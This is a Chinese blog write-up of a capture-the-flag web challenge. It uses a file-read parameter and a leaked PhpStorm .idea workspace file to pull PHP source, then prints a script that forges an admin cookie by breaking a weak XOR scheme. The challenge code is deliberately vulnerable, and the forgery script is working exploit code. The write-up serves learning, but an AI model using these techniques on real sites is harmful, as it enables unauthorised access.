web文件包含 i春秋 code题目

原创

白山茶i 于 2018-07-31 13:10:47 发布 1534 收藏
分类专栏： ctf题目
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_30435981/article/details/81268542
版权

网站链接打开来是一张图片，查看源码是没用的base64码，我们可以利用文件包含读一下index.php这文件的代码，/index.php?jpg=index.php,查看代码是base64码，经过base64-Encode,发现是一段函数。

```
<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
header('content-type:text/html;charset=utf-8');
if(! isset($_GET['jpg']))
    header('Refresh:0;url=./index.php?jpg=hei.jpg');
$file = $_GET['jpg'];
echo '<title>file:'.$file.'</title>';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
$file = str_replace("config","_", $file);
$txt = base64_encode(file_get_contents($file));

echo "<img src='".$txt."'></img>";

/*
 * Can you find the flag file?
 *
 */

?>
```

一开始以为没有其他有用的信息，只关注了下cofig这个单词会被过滤杯替换成下划线，其他的暂时先不关注，后来发现"Created by Phpstorm"是个关键信息,我们可以了解一下phpstorm在新建项目的时候会自动出现 .idea 这个文件夹，这个文件夹是这个项目的根目录，里面包含以下xml文件（配置文件），具体可以了解一下https://segmentfault.com/q/1010000008644646

可以访问一下这个文件里面内容，发现在workspace里面有关键信息，url/.idea/workplace.xml,发现在index目录下有个fl3g_ichuqiu.php这个文件，用文件包含的漏洞读取一下，之前我试了直接读取。 ヽ(▽)ノ 30435981 页面就这玩意，看来只能用文件包含读取。根据index.php里面的代码，下划线要用config替换，否则会转化成config，就不能读取文件，查看页面源码，是base64加密过后的代码，解密得：

```php
<?php
/**
 * Created by PhpStorm.
 * Date: 2015/11/16
 * Time: 1:31
 */
error_reporting(E_ALL || ~E_NOTICE);
include('config.php');
function random($length, $chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz') {
    $hash = '';
    $max = strlen($chars) - 1;
    for($i = 0; $i < $length; $i++) {
        $hash .= $chars[mt_rand(0, $max)];
    }
    return $hash;
}

function encrypt($txt,$key){
    for($i=0;$i<strlen($txt);$i++){
        $tmp .= chr(ord($txt[$i])+10);
    }
    $txt = $tmp;
    $rnd=random(4);
    $key=md5($rnd.$key);
    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $ttmp .= $txt[$i] ^ $key[++$s];
    }
    return base64_encode($rnd.$ttmp);
}
function decrypt($txt,$key){
    $txt=base64_decode($txt);
    $rnd = substr($txt,0,4);
    $txt = substr($txt,4);
    $key=md5($rnd.$key);

    $s=0;
    for($i=0;$i<strlen($txt);$i++){
        if($s == 32) $s = 0;
        $tmp .= $txt[$i]^$key[++$s];
    }
    for($i=0;$i<strlen($tmp);$i++){
        $tmp1 .= chr(ord($tmp[$i])-10);
    }
    return $tmp1;
}
$username = decrypt($_COOKIE['user'],$key);
if ($username == 'system'){
    echo $flag;
}else{
    setcookie('user',encrypt('guest',$key));
    echo "ヽ(ﾉ▽ﾚ)ノ";
}
?>
```

这是一个加密解密的脚本，参考了pureT大佬的脚本。

```php
<?php
    error_reporting(E_ALL || ~E_NOTICE);

    $text = 'guest';
    $cookie_guest = 'dk9FS0hOXUhH';
    $cookie_guest = base64_decode($cookie_guest);
    $rnd = substr($cookie_guest,0,4);
    $cookie_guest = substr($cookie_guest,4);
    for ($i = 0; $i < strlen($text); $i++) {
        $text[$i] = chr(ord($text[$i])+10);
    }

    for ($i = 0; $i < strlen($text); $i++) {
        $key .= ($text[$i] ^ $cookie_guest[$i]);
    }
    $text2 = 'system';
    for ($i = 0; $i < strlen($text2); $i++) {
        $text2[$i] = chr(ord($text2[$i])+10);
    }
    $t = '0123456789abcdef';
    for ($j = 0; $j < strlen($t); $j++) {
        $key_temp = $key.$t[$j];
        $result = '';
        for ($i = 0; $i < strlen($text2); $i++) {
            $result .= ($key_temp[$i] ^ $text2[$i]);
        }
        $result = base64_encode($rnd.$result);
        echo $result."\n";
    }

?>
```

作者：PureT
链接：https://www.jianshu.com/p/3d7fb34c28a6

用了大佬的wp，放进burp去爆破，可得key。

ps：最后那个操作真的不会，比较捞，若有大佬看到哪里有错误或是讲的不全，欢迎评论补充。